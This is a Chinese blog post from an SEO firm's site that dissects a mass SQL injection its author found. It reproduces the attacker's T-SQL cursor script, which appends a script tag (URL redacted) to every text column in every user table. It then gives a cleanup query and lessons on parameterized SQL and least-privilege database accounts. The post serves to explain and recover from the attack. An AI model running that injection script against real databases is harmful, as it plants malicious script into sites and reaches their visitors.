Sql注入的脚本-佛山SEO网站博客,广州SEO专业提供佛山地区seo和广州地区网站优化服务--广州SEO-
欢迎进入佛山SEO博客,佛山百度优化博客,广州SEO博客
« 佛山SEO观点:网站优化不是一朝一夕的事情SQL注射语句1 »

Sql注入的脚本

翻译过来就是这样:

/*

--Sql注入的脚本,如果当前用户没有系统表的权限,这段脚本就会失效

--由于怕被认定为有恶意脚本,所以脚本地址用xxxx代替

Declare @T Varchar(255),@C Varchar(255)

Declare Table_Cursor

Cursor For Select A.Name,B.Name From Sysobjects A,Syscolumns B

Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)

Open Table_Cursor

Fetch Next From Table_Cursor Into @T,@C

While(@@Fetch_Status=0)

Begin

    Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''<script src=xxxx''')

    Fetch Next From Table_Cursor Into @T,@C

End

Close Table_Cursor

Deallocate Table_Cursor

*/


以上可以看出,是通过查询系统表找到列然后执行注入的。

清除:

问题找到了修改也就方便了,无非是用参数形式、过滤敏感字符等。不过还需要修改被注入的表数据,这就比较麻烦,不喜欢用游标,于是写了一段怪异加郁闷的脚本:


declare @str varchar(200)

set @str='<script src=xxxx></script>'


select 'if exists(select * from '+obj.name

+ ' where ' + col.name+' like ''%'+@str +'%'') begin print '' update '

+ obj.name+' set '+col.name+'=replace('

+ (case when col.xtype=35 then 'cast('+col.name+' as varchar(8000))' else col.name end)

+','''''+@str+''''','''''''')'' end'

from sysobjects obj,syscolumns col

where obj.xtype='u' and obj.id=col.id and col.xtype in (35,167,231,99,239,175)

执行上面的这个脚本(需要修改@str为注入的脚本),得到一批sql,然后执行得到的sql,又会得到一批sql,然后再执行得到的sql,被注入的字段就全部修改过来了。

反思:

1.首先当然是谴责入侵者的不道德行为;
2.程序中执行Sql的语句不严谨,应该尽可能使用参数形式去执行Sql,至少应该在涉及用户交互的地方使用参数形式,不推荐使用过滤敏感字符的方式;
3.数据库连接用户权限设置不够严谨,最好是每个数据库使用单独的访问用户,仅授予操作用户表的权限(当然还可能需要若干存储过程、视图等,视情况而定),严禁使用超级管理员用户(比如SqlServer的sa用户);
4.还没想好...

  • 相关文章:

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

日历

最新评论及回复

最近发表

Powered By 网一科技 1.8 Arwen Build 90619 Code detection by Codefense

Copyright 佛山百度优化,佛山SEO,广州SEO广州网站优化版权所有